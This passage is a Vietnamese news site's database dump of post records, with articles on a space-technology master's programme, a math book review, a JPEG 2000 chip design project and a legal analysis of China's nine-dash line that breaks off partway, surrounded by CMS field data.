– 2013, bên cạnh hệ cử nhân, hệ thạc sĩ Công nghệ vũ trụ và ứng dụng bắt đầu được triển khai với hầu hết các giảng viên đến từ Đại học Paris Diderot – Đại học Paris 7, Đài thiên văn Paris (l’Observatoire de Paris), Đại học Paul-Sabatier, École normale supérieur, v.v. Chương trình đào tạo thạc sĩ công nghệ vũ trụ đầu tiên và duy nhất tại Việt Nam được thực hiện theo Hệ thống chuyển đổi và tích lũy tín chỉ chung châu Âu (European Credit Transfer and Accumulation System, viết tắt là ECTS), được công nhận bởi chính phủ Việt Nam và chính phủ Pháp. </div> <div> </div> <div> Các hoạt động nghiên cứu và đào tạo sẽ được tiến hành tại một địa điểm và được kết nối với mạng lưới các trung tâm nghiên cứu – đào tạo chất lượng cao ở Pháp và Việt Nam. Chương trình cử nhân kéo dài 3 năm còn chương trình đào tạo hệ thạc sĩ Công nghệ vũ trụ và ứng dụng được chia làm 4 học kỳ trong 2 năm, mỗi học kỳ gồm 30 tín chỉ và tất cả các môn học sẽ được giảng dạy bằng tiếng Anh. Vào học kỳ cuối cùng, sinh viên sẽ được thực tập 8 tháng tại các phòng thí nghiệm nghiên cứu và phát triển (R&D labs), các viện nghiên cứu thiên văn học, các tổ hợp công nghiệp hàng không vũ trụ tại Pháp và châu Âu như Đài thiên văn Paris, Tập đoàn Hàng không vũ trụ và Quốc phòng châu Âu (EADS), v.v.</div> <div> </div> <div> Học viên sau khi bảo vệ thành công luận văn tốt nghiệp sẽ có hai bằng, một bằng của trường đại học Khoa học và Công nghệ Hà Nội và một bằng của trường đại học Pháp nhận các học viên sang thực tập. Khi tốt nghiệp, học viên sẽ có học vị chuyên ngành Thạc sĩ Khoa học vũ trụ và ứng dụng (Master in Space Science and Applications) hoặc Thạc sĩ Công nghệ vũ trụ (Master in Space Engineering). </div> <div> </div> <div> Chương trình sẽ cung cấp học bổng cho các học sinh có điều kiện khó khăn để hoàn thành chương trình. Đặc biệt việc thực tập trong học kỳ hai của năm hai thạc sĩ ở Pháp sẽ đươc chính phủ Pháp tài trợ 100%. Các sinh viên có nhu cầu phòng trọ sẽ được sắp xếp tại làng sinh viên quốc tế Thanh Xuân.</div> <div> </div> <div> <strong>Học công nghệ vũ trụ để làm gì?</strong></div> <div> </div> <div> Phần lớn các bạn trẻ thường hỏi học công nghệ vũ trụ rồi ra làm cái gì? Việc đầu tiên mà các bạn có thể làm đó là tại các trung tâm khoa học liên quan ở Việt Nam như đã kể ở trên. Do đặc thù liên ngành của ngành công nghệ vũ trụ, nếu như bạn đổi ý, với kiến thức được trang bị bạn có thể tìm việc làm ở các ngành kỹ thuật liên quan như điện, cơ khí, hàng không... hay các ngành khác như ngân hàng và tài chính. Theo thống kê mới đây ở Hoa Kỳ thì ngành công nghệ vũ trụ là ngành học ít bị thất nghiệp nhất ở Mỹ2, ngay cả trong bối cảnh khủng hoảng kinh tế hiện nay. Ngay cả các bạn học ngành thời thượng thì cũng chỉ 50% đi làm đúng ngành học, vậy tại sao bạn lại không nắm lấy cơ hội để học cái mình thích. Quan trọng nhất, nếu đây là ước mơ trẻ thơ của bạn, hãy nắm lấy.</div> <div> </div> <div> Tương lai nghề nghiệp ngành công nghệ vũ trụ Việt Nam đang rộng mở với nhiều cơ hội: kỹ sư và nghiên cứu viên tại các viện khoa học như Trung tâm Vũ trụ và Trung tâm Vệ tinh quốc gia; chuyên viên và kỹ thuật viên tại các tập đoàn viễn thông; chuyên viên trắc địa, thăm dò tại các cơ quan khí tượng, các tập đoàn khoáng sản và dầu khí; trở thành giảng viên đại học chuyên ngành thiên văn học, v.v…Sinh viên ngành vũ trụ và ứng dụng cũng có thể trở thành kỹ sư tại các công ty hàng không chuyên sản xuất thiết bị cho máy bay Boeing, Airbus hay các công ty thiết kế và chế tạo ô tô như Mercedes, BMW. Ngoài kiến thức chuyên môn vững chắc, đại học Khoa học và Công nghệ Hà Nội còn đào tạo cho những sinh viên này các kiến thức nền về quản trị, quản lý dự án khoa học, ngoại ngữ và luật pháp. </div> <div> </div> <div> <strong>Việt Nam trở lại sân chơi hàng không vũ trụ</strong></div> <div> </div> <div> Nhà nước ta đã chính thức tái khởi động chương trình nghiên cứu vũ trụ sau hơn 20 năm kể từ khi Phạm Tuân, là người châu Á đầu tiên, mang màu cờ Việt Nam lên bản đồ không gian thế giới. Ngày 14/6/2006, Thủ tướng Chính phủ phê duyệt “Chiến lược nghiên cứu và ứng dụng công nghệ vũ trụ đến năm 2020". Ngày 20/11/2006, Viện Công nghệ vũ trụ (Space Technology Institute - STI) được thành lập trực thuộc Viện Khoa học và Công nghệ Việt Nam, với mục tiêu trở thành cơ sở nghiên cứu đầu ngành về công nghệ vũ trụ của nhà nước. Cuối năm ngoái, Trung tâm Vệ tinh quốc gia Việt Nam (Vietnam National Satellite Centre - VNSC) được chính thức hoạt động, đặt tại Khu Công nghệ cao Hòa Lạc, Hà Nội. Trung tâm Vệ tinh quốc gia cũng sẽ thực hiện, tiếp nhận, quản lý, khai thác Dự án xây dựng Trung tâm Vũ trụ Việt Nam.</div> <div> </div> <div> Cách trung tâm Hà Nội 30km, trải rộng trên diện tích 9ha, Khu Nghiên cứu – Triển khai Công nghệ vũ trụ tại Khu công nghệ cao Hoà Lạc có tổng vốn 350 triệu đô-la Mỹ từ nguồn vốn vay ODA ưu đãi của Nhật Bản. Trung tâm Vũ trụ Việt Nam tại Hoà Lạc sẽ được lắp đặt các thiết bị hiện đại hàng đầu Việt Nam và khu vực, sánh tầm nhiều trung tâm vũ trụ lớn của thế giới. Cùng với việc chủ động giám sát thảm họa, quản lý tài nguyên thiên nhiên, phát triển các ngành khoa học phụ trợ, Trung tâm Vũ trụ Việt Nam sẽ là nơi thành lập Trung tâm Quan sát Trái đất và Phát triển vệ tinh, chuyển giao công nghệ và phát triển nguồn nhân lực ngành công nghệ vũ trụ, tạo đà phát triển bền vững cho Việt Nam, thúc đẩy hợp tác quốc tế giữa Việt Nam và các nước châu Á – Thái Bình Dương.</div> <div> </div> <div> Chính phủ Việt Nam đang đẩy mạnh công tác nghiên cứu và làm chủ công nghệ chế tạo vệ tinh nhỏ cỡ nhỏ (pico và mini) với dự án vệ tinh VNRedsat 1 (hợp tác với Pháp) và vệ tinh VNRedsat 2 (hợp tác với Bỉ), cùng nhiều dự án hợp tác với Cơ quan Hàng không vũ trụ Nhật Bản (JAXA). Hiện nay, tương lai nghề nghiệp ngành công nghệ vũ trụ và ứng dụng tại Việt Nam vô cùng rộng mở.</div> <div> </div> <div> ---</div> <div> </div> <div> * CLB Thiên văn nghiệp dư TP.HCM (HAAC)</div> <div> </div> <div> 1. Thông tin về chương trình học và thủ tục ứng tuyển có thể tham khảo thêm tại trang http://usth.edu.vn/vi/studycourses/mastercourses/master-of-space-and-applications/</div> <div> </div> <div> 2. Theo trang web: http://graphicsweb.wsj.com/documents/NILF1111/#term=</div> ', 'images' => '201606150911150c257c177fbfb4f676613725df7b63fa.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-15', 'modified' => '2025-08-18', 'status' => '1', 'view' => '55247', 'slug' => 'gan-lam-giac-mo-thien-van-viet-nam', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '707', 'rght' => '708', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '408', 'name' => 'Ai và Ky ở xứ sở của những con số tàng hình*', 'code' => null, 'alias' => 'ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Tôi may mắn có trong tay bản thảo cuốn sách đã ba tháng nay, và phải làm cái công việc khó khăn là không dám “khoe” vì sợ lộ bí mật. Nay cuốn sách đã ra mắt, xin đưa lên bài viết về cảm nhận của tôi khi đọc sách. Cũng có thể xem là lời giới thiệu cuốn sách với bạn đọc.</div> <div> Một cuốn sách trình bày những kiến thức toán học dưới dạng “ngây thơ” nhất, và vì thế, bản chất nhất. Ta gặp ở đây những khái niệm đầu tiên về số, những vấn đề “cao siêu” như trường số, tính không giải được bằng căn thức của phương trình bậc 5 tổng quát, cho đến hình học phi Euclid, đường trắc địa…Một cuốn lịch sử toán học, từ sự ra đời của số vô tỷ đầu tiên đến sự xuất hiện của phương pháp tọa độ và giải tích vô cùng bé. Nhưng trước tiên, cuốn sách là một câu chuyện cổ tích tuyệt đẹp, với nắng vàng trên bãi cát, với bầu không khí trong vắt của trí tuệ và tình người, với những nghịch lý và âm mưu. Ta chợt nhận ra rằng, thế giới của những con số cũng huyền ảo, kỳ bí và lãng mạn như cuộc đời.</div> <div> </div> <div> Tác giả đưa ta vào câu chuyện cổ tích, mà ở đó cùng với Ai và Ky, ta bắt gặp những con người của nhiều thế kỷ khác nhau đang sống cùng nhau trong một thế giới chung: Toán học. Ta gặp Euclid (thế kỷ III TCN) và Thales (624-546 TCN), hai nhà phù thủy chỉ dùng cây thước và compa mà dựng nên cả “thế giới hữu tỷ”; thấy Pythagoras (570-495 TCN) nghiêm khắc trừng phạt anh học trò Hyppasus (thế kỷ V TCN) vì đã dám tạo ra số vô tỷ đầu tiên, phá vỡ cái hài hòa của thế giới hữu tỷ. Ta gặp Zeno xứ Elea (490- 430 TCN) hiện thân thành cô gái Zena với cặp mắt mê hoặc, mà khi nhìn vào đó, thời gian dường như bị chia thành những mảnh nhỏ vô cùng mà ta không thể vượt qua. Nhưng cuối cùng, Alice (lực sĩ Achilles?) đã dũng cảm vượt qua cái “nghịch lý Zeno” đó, dù biết là phải chịu trừng phạt. Để vượt qua cái việc chia cắt thời gian thành những mảnh nhỏ, Alice phải nhờ tới “chuỗi hội tụ”, nhờ tới giải tích vô cùng bé. Ông Chico hiểu điều đó, nhưng vẫn trừng trị Alice, để không làm phật ý Đức Vua, người chỉ biết dùng phép khai căn để tìm ra gốc gác từng thần dân (số) của mình. Ta nhận ra trong bóng dáng Chico hình ảnh của Cauchy (1789-1857), nhà toán học thiên tài, một trong những người đặt nền móng cho giải tích vô cùng bé, nhưng cũng là một người bảo hoàng cực đoan. Cũng vì phụng sự Đức Vua mà Chico trừng phạt chàng Elaci, người đã phát hiện ra rằng Đức Vua không thể chỉ dùng phép khai căn mà tìm được những “thần dân” là nghiệm của phương trình bậc năm. Ông Chico muốn dìm đi phát hiện đó của chàng Elaci, và Elaci đã phải quyết đấu với con rồng. Nhưng trong câu chuyện cổ này, Elaci không chết ở tuổi 21 như Evariste Galois (1811-1832) trong buổi sáng định mệnh sau trò đấu súng, mà chỉ bị đày đến “xứ p-adic”, xứ sở mới của những con số khác với số thực và phức nhưng cũng không kém phần hấp dẫn.</div> <div> </div> <div> Ai và Ky ở xứ sở của những con số tàng hình còn là cuốn sách vỡ lòng về triết học của toán học. Với cặp mắt ngây thơ của Ai, ta nhìn ra mâu thuẫn ẩn chứa trong các chứng minh phản chứng, mâu thuẫn giữa cái hữu hạn và vô hạn, của sự chứng minh được hay không một chân lý toán học. Bởi thế nên ông già Cartesius (René Descartes, 1596-1650) mới nhận ra rằng, để “tồn tại” thì chỉ “suy nghĩ” thôi là chưa đủ: “Ta đang nghi ngờ, việc của ta là nghi ngờ. Ta sợ một lúc nào đó ta không còn nghi ngờ được nữa, thì bản thân ta cũng sẽ trở nên tàng hình”. Cũng bởi vì thế mà Diogenes xứ Sinop (412 hoặc 404 – 323 TCN) mới cầm đèn đi giữa ban ngày để tìm cho ra người lương thiện.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge.jpg" style="width: 250px; height: 166px;" /></div> <div> </div> <div> “Giải quyết một bài toán cũng như ăn từng miếng nhỏ của trái táo. Làm như thế một là để thưởng thức, hai là để tránh nghẹn”, ông già Cartesius đã khuyên Ai như thế. Cuốn sách trên tay các bạn cũng cần được thưởng thức chậm rãi như thế, để có thể cảm nhận được hương vị đậm đà của nó. Và trên hết, phải có cặp mắt ngây thơ như cậu thiếu niên Ai, để nhìn ra chân lý. Bởi vì chân lý chỉ dành cho những người không bị che mắt bởi cái vụn vặt thường nhật.</div> <div> </div> <div> Lời nhắn nhủ của Elaci từ xứ sở p-adic cũng là lời nhắn cho tất cả chúng ta: “Hãy lắng nghe những người khác nói nhưng luôn suy nghĩ bằng cái đầu của mình. Cuối cùng và quan trọng nhất là đừng bao giờ để rơi mất tiếng cười hồn nhiên của Alice”.</div> <div> </div> <div> Cuốn sách giản dị, thông thái, sâu sắc, vừa dễ gần, vừa không dễ hiểu - như chính tác giả của nó vậy."</div> <div> </div> <div> Gấp sách lại, cái “cảm giác tiếc nuối trở nên mơ hồ như làn khói lam chiều. Có một tiểu hành tinh vừa băng qua mùa thu của Trái đất”. </div> <div> </div> <div> ---</div> <div> </div> <div> * Tác giả: Ngô Bảo Châu và Nguyễn Phương Văn; NXB Thế Giới và Nhã Nam ấn hành tháng 3/2012</div> ', 'images' => '20160615091008fbff3e430b33ac364ed26e294730583f.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-15', 'modified' => '2025-08-18', 'status' => '1', 'view' => '52316', 'slug' => 'ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '705', 'rght' => '706', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '407', 'name' => 'TPHCM thiết kế thành công lõi IP nén ảnh JPEG 2000 ', 'code' => null, 'alias' => 'tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Lõi IP nén ảnh JPEG 2000 do Trung tâm Nghiên cứu và Đào tạo Thiết kế Vi mạch (ICDREC), ĐH Quốc gia TPHCM, chế tạo là nền tảng để thiết kế các chip xử lý hình ảnh, ứng dụng trên các sản phẩm thuộc lĩnh vực y học, trắc địa học, truyền thông, viễn thám, sinh trắc học, giải trí...</div> <div> Sản phẩm lõi IP nén ảnh JPEG 2000 thuộc đề tài "Nghiên cứu thiết kế và chế tạo thử nghiệm chip nén ảnh theo tiêu chuẩn JPEG2000 và chip ADC đa năng ứng dụng trong y tế" của chương trình KH&CN trọng điểm cấp nhà nước KC.01/11-15 do ThS. Nguyễn Minh Khánh Ngọc (ICDREC) là chủ đề tài. Ngoài ra, ICDREC còn phối hợp với Vụ Trang thiết bị và Công trình y tế (Bộ Y tế) cùng thực hiện đề tài.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/MakeThumbnail.jpg" style="width: 150px; height: 130px;" /></div> <div> <br /> Tại buổi họp báo ngày 9/7, giám đốc ICDREC, ông Ngô Đức Hoàng, cho biết, JPEG 2000 là chuẩn nén ảnh của thế giới do Joint Photographic Experts Group công bố vào năm 2000, được ứng dụng trong nhiều lĩnh vực đời sống xã hội như các thiết bị đa phương tiện (điện thoại di động, máy quay camera, máy ảnh kỹ thuật số, máy in), y tế (nén ảnh cho các thiết bị X-quang, siêu âm...), khảo sát trắc địa (ảnh chụp từ vệ tinh cần nén trước khi truyền về trái đất...), quân sự/giám sát (cung cấp hình ảnh vệ tinh HD, phát hiện chuyển động, thiết lập mạng lưới phân phối và lưu trữ hình ảnh, camera giám sát chất lượng cao…</div> <div> </div> <div> Bắt tay thực hiện đề tài từ năm 2012, ThS. Nguyễn Minh Khánh Ngọc và các cộng sự đã nghiên cứu và nắm vững kỹ thuật thiết kế hệ thống nén ảnh JPEG 2000, kỹ thuật thiết kế bộ chuyển đổi tín hiệu tương tự sang số ADC độ chính xác cao và kỹ thuật thiết kế vi mạch ở công nghệ 130 nano mét. Đây là cơ sở để các nhà nghiên cứu thiết kế và chế tạo lõi IP mềm thực hiện nén ảnh theo tiêu chuẩn JPEG 2000.</div> <div> </div> <div> Sản phẩm lõi IP nén ảnh JPEG 2000 của ICDREC cho phép nén các ảnh tĩnh có độ phân giải cao lên đến 16 triệu điểm ảnh và 16 bit độ xám với các chế độ nén tổn hao và không tổn hao trên cùng một hệ thống, đồng thời cho phép người dùng nén các loại ảnh có tối đa bốn thành phần màu cùng với các định dạng ngõ vào khác nhau như 444, 422, 420 và mức xám. Lõi IP nén ảnh JPEG 2000 còn có thể nén ảnh động với độ phân giải HD đạt tốc độ 24 fps (frame/giây).</div> <div> </div> <div> Từ sản phẩm này, đội ngũ thiết kế vi mạch của ICDREC sẽ thiết kế các chip xử lý hình ảnh, ứng dụng trong các sản phẩm đòi hỏi hình ảnh có độ phân giải ảnh lớn và độ phân giải mức xám cao thuộc lĩnh vực y học, trắc địa học, truyền thông, viễn thám, sinh trắc học, giải trí…</div> <div> </div> <div> Trong quá trình nghiên cứu và thiết kế sản phẩm lõi IP, ICDREC còn đào tạo được đội ngũ nhân lực thiết kế vi mạch trong lĩnh vực tín hiệu số và xử lý ảnh, thiết kế vi mạch analog cho các ứng dụng chuyển đổi tín hiệu tương tựm đồng thời góp phần hỗ trợ cho một số nghiên cứu, dự án khác về các thiết bị xử lý ảnh y sinh và các thiết bị đo trong y tế.</div> <div> </div> <div> Về ý nghĩa lâu dài của đề tài, các nhà chuyên môn cho biết, khi ứng dụng thiết bị trên các hệ thống thiết bị y tế sẽ góp phần giảm giá thành thiết bị, giải tỏa áp lực và gánh nặng cho ngành y tế; cải thiện chất lượng phúc lợi xã hội, góp phần tạo thế cân bằng trong việc cung cấp linh kiện điện tử trong nước; hạn chế sự phụ thuộc vào linh kiện nước ngoài; góp phần làm giảm giá thành sản phẩm điện tử làm ra để có thể cạnh tranh mạnh mẽ với các sản phẩm cùng loại trong và ngoài nước.</div> <div> </div> <div> Tại lễ công bố, ICDREC và công ty cổ phần Điện tử Biên Hòa (Belco) đã ký kết hợp tác cùng phát triển lõi IP nén ảnh JPEG 2000 của ICDREC thành chip xử lí để ứng dụng cho các sản phẩm mà Belco đang sản xuất.</div> ', 'images' => '201606150908575e1f128ae6bd71960aa75fdd584b9db5.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-15', 'modified' => '2025-08-18', 'status' => '1', 'view' => '59449', 'slug' => 'tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '703', 'rght' => '704', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $detailNews = array( 'Post' => array( 'id' => '418', 'name' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ', 'code' => null, 'alias' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<br /> <img alt="" src="/admin/webroot/upload/image/images/Chấm và vạch trong Biển Đông.jpg" style="width: 250px; height: 182px;" /><br /> <br /> <div> Ngày 07 tháng 5 năm 2009, Cộng hòa Nhân dân Trung Hoa (CHNDTH) phản đối đệ trình của Việt Nam và đệ trình chung của Malaysia-Việt Nam gửi Ủy ban Ranh giới thềm lục địa (CLCS). Để hậu thuẫn cho các yêu sách của mình, Trung Quốc (TQ) đã kèm một bản đồ có vẽ một đường hình chữ U nhiều chấm bao trùm phần lớn Biển Đông vào công hàm phản đối.</div> <div> Bài nghiên cứu này là đưa ra một phân tích về mặt pháp lý quốc tế bản đồ nói trên. </div> <div> </div> <div> </div> <div> I. BẢN ĐỒ TRUNG QUỐC</div> <div> </div> <div> A. Nền tảng</div> <div> </div> <div> Nguồn gốc của đường chữ U bắt đầu từ các hoạt động của Uỷ ban thẩm tra Bản đồ Đất và Nước của Trung Hoa Dân Quốc (THDQ), thành lập vào năm 1933. Trách nhiệm của Uỷ ban này bao gồm việc khảo sát và đặt tên các đảo ở Biển Đông và in ra các bản đồ cho thấy các đảo này thuộc chủ quyền của TQ. [1]</div> <div> </div> <div> Đường nhiều chấm được chuẩn nhận chính thức đầu tiên phát xuất từ sau cuộc chiến tranh thế giới thứ hai. Tờ bản đồ đang bàn do Sở lãnh thổ và Ranh giới Bộ Nội vụ THDQ in ra vào tháng 12 năm 1946. [2] Trên bản đồ này, đường chữ U gồm 11 vạch liên tục bao kín phần lớn Biển Đông và các thể địa lý giữa đại dương. [3] Bắt đầu từ ranh giới Trung-Việt, hai vạch đầu tiên đi qua Vịnh Bắc Bộ. Vạch thứ ba và thứ tư của đường này phân cách bờ biển Việt Nam với các quần đảo Hoàng Sa và Trường Sa, tương ứng. Vạch thứ năm và thứ sáu trên đường đứt đoạn đi qua Bãi cạn James (4° N), thể địa lý biển cực nam mà TQ và THDQ tuyên bố chủ quyền. Di chuyển theo hướng đông bắc, hai vạch tiếp theo nằm giữa quần đảo Trường Sa phía này, và Borneo (Indonesia, Malaysia, và Brunei) và Philippines (tỉnh Palawan), phía kia. Vạch thứ chín, thứ mười, và thứ mười một phân cách Philippines với THDQ. [4] Sau khi loại Quốc dân Đảng khỏi Trung Hoa đại lục, CHNDTH cũng phát hành bản đồ vẽ với cùng các vạch trên. [5] Như vậy, từ đó trở đi, ở hai phía của eo biển Đài Loan đều thấy có bản đồ đường chữ U xuất hiện. Một trong thay đổi đặc biệt cần lưu ý: từ năm 1953, bản đồ Biển Đông TQ chỉ vẽ 9 thay vì 11 vạch (2 vạch ở Vịnh Bắc Bộ đã bị xoá). [6]</div> <div> </div> <div> B. Công hàm TQ gửi Tổng thư ký LHQ (ngày 07 tháng 5 năm 2009)</div> <div> </div> <div> Ở cấp độ quốc tế, tranh cãi xung quanh đường 9 chấm đã rộ lên trước Liên Hợp Quốc (LHQ) vào năm 2009 liên quan tới đệ trình chung của Malaysia-Việt nam[7] và đệ trình riêng của Việt Nam[8] cho CLCS. CLCS đưa ra khuyến nghị cho các nước ven biển có nhu cầu xác lập ranh giới bên ngoài thềm lục địa vượt quá 200 hải lý (nm). [9] Thời gian đệ trình của các chính phủ Việt Nam và Malaysia có thể được giải thích bởi thời hạn chót của họ là vào tháng 5 năm 2009. [10] Để đáp trả các đệ trình này, trong cùng ngày TQ đã chính thức gửi Tổng thư ký LHQ hai công hàm riêng biệt có kèm bản đồ đó [11], bằng cách này lần đầu tiên xác nhận đường chữ U, ở cấp quốc tế trong một tranh chấp cấp nhà nước, [12] với phản ứng giống hệt nhau sau đây:</div> <div> </div> <div> TQ có chủ quyền không thể tranh cãi đối với các đảo ở Biển Đông và các vùng biển lân cận, và được hưởng quyền chủ quyền và quyền tài phán trên các vùng biển liên quan cũng như biết đáy biển và lòng đất dưới biển (xem bản đồ kèm theo). Lập trường nêu trên đượcChính phủ TQ nhất quán thể hiện, và được cộng đồng quốc tế biết đến rộng rãi. [13]</div> <div> </div> <div> Đọc Công hàm này, một học giả Đài Bắc suy ra một số khẳng định của TQ:</div> <div> </div> <div> 1. Chủ quyền đối với các đảo ở Biển Đông và vùng biển tiếp giáp chúng (bản đồ kèm theo cho thấy các thể địa lý biển sau đây trong đường đứt khúc theo tên: quần đảo Tây Sa, [14] quẩn đảo Nam Sa, [15] quần đảo Trung Sa, [16] và quẩn đảo Đông Sa[17]).</div> <div> </div> <div> 2. Quyền chủ quyền và quyền tài phán đối với vùng biển liên quan bao gồm đáy biển và tầng đất dưới đáy biển của chúng.</div> <div> </div> <div> 3. Tính nhất quán của vị thế chính thức của TQ về các yêu sách biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 4. Sự nhận biết của các nước bên thứ ba liên quan đến yêu sách của TQ về biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 5. Đường chữ U mô tả những yêu sách của TQ về chủ quyền, quyền chủ quyền và quyền tài phán. [18]</div> <div> </div> <div> Tuy nhiên, dường như công bằng để nói rằng giải thích chính thức của TQ trích dẫn trên, theo như ý nghĩa chính xác của bản đồ đính kèm, vẫn còn là mơ hồ. Cụ thể, bản chất pháp lý chính xác của các khu vực biển bao bọc bởi đường 9-chấm-vẫn còn mờ mịt, mặc dù có việc "làm rõ" của TQ. Điểu này được thể hiện rõ ràng bởi các phản ứng đang dạng mà họ gây ra tại các hội nghị chuyên ngành được tổ chức kể từ đó. [19]</div> <div> </div> <div> Theo hiểu biết của chúng tôi, cho đến nay chỉ có một nước là Philippines thực hiện nỗ lực giải thích.[20] TQ nhanh chóng trả lời với một công hàm mới, một lần nữa công hàm này chẳng làm cho rõ ràng hơn bao nhiêu. Trong công hàm mới này, đề ngày 14 tháng 4 năm 2011, TQ nêu rằng “chủ quyền và các quyền và quyền tài phán liên quan của TQ trong Biển Đông” được hỗ trợ bằng “chứng cứ lịch sử và pháp lý phong phú”'.[21] Điều rõ ràng trong tài liệu ngoại giao mới này là sự thiếu vắng của bất kỳ đề cập nào tới bản đồ trên. Từ sự thiếu vắng này, chúng ta có thể suy ra sự từ bỏ đường 9 chấm hay không? Chắc chắn, không thể giả định có một sự quay ngoắt (volte-face) một cách hời hợt. Hơn nữa, dù họ đang chủ trương làm dịu đi các quan ngại về tự do hàng hải ở Biển Đông, [22] ví như can thiệp gần đây của TQ đối với tàu thuyền Việt Nam và Philippines mà thôi cho thấy các yêu sách quá đáng của họ như trên bản đồ vẫn còn nguyên vẹn.</div> <div> </div> <div> II. CÁC YÊU SÁCH</div> <div> </div> <div> Công hàm ngày 07 tháng 5 năm 2009 của TQ, dù là có thể mới trong các khía cạnh vể biển của nó nhưng chỉ lặp lại những khẳng định tương tự như đã đưa ra trong quá khứ liên quan đến các thể địa lý. [23] Hơn nữa, nhiều học giả chủ yếu của TQ và Đài Loan đã đề ra các cách giải thích riêng của họ về đường 9 chấm. Giữa sự rối rắm này, người ta chỉ có thể chắc chắn một điều là các khẳng định TQ về Biển Đông không vượt quá ranh giới này. [24] Những quan điểm và giá trị pháp lý của các khẳng định này sẽ được thảo luận sau đây.</div> <div> </div> <div> A. Yêu sách 